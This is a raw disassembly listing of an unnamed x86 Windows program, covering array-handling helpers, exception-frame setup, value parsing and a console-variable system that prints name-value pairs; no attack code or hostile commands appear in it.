sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 5DCh call near ptr 2831CE8h nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019DD 